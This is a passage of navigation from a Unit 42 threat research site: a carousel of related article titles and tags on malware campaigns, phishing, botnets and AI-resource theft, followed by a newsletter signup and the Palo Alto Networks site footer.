computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/) * [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel") * [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2") * [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure") ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/) * [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI") * [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT") * [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America") ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/) * [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa") * [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID") * [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams") ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/) * [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor") * [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin") * [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution") ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/) * [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication") * [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft") * [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels") ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/) * [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API") * [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway") * [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. Subscribe today. Your Email Subscribe for email updates to all Unit 42 threat research. By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement") This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply. Invalid captcha! Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} Products and Services * [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security) * [Secure AI by Design](https://www.paloaltonetworks.com/ai-security) * [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs) * [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security) * [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security) * [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall) * [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations) * [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.com/network-security/panorama) * [Secure Access Service Edge](https://www.paloaltonetworks.com/sase) * [Prisma SASE](https://www.paloaltonetworks.com/sase) * [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration) * [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.com/sase/access) * [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan) * [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex) * [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud) * [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud) * [AI-Driven SOC](https://www.paloaltonetworks.com/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse) * [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response) * [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam) * [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira) * [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management) * [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager) * [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance) * [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management) * [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic) * [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management) * [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance) * [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery) * [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access) * [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42) * [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/frontier-ai-defense) * [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses) * [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy) * [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence) * [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond) Company * [About Us](https://www.paloaltonetworks.com/about-us) * [Careers](https://jobs.paloaltonetworks.com/en/) * [Contact Us](https://www.paloaltonetworks.com/company/contact-sales) * [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [Customers](https://www.paloaltonetworks.com/customers) * [Investor Relations](https://investors.paloaltonetworks.com/) * [Location](https://www.paloaltonetworks.com/about-us/locations) * [Newsroom](https://www.paloaltonetworks.com/company/newsroom) Popular Links * [Blog](https://www.paloaltonetworks.com/blog/) * [Communities](https://www.paloaltonetworks.com/communities) * [Content Library](https://www.paloaltonetworks.com/resources) * [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia) * [Event Center](https://events.paloaltonetworks.com/) * [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center) * [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z) * [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications) * [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure) * [Sitemap](https://www.paloaltonetworks.com/sitemap) * [Tech Docs](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.com/) * [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy) * [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center) * [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use) * [Documents](https://www.paloaltonetworks.com/legal) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector) * [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * EN Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)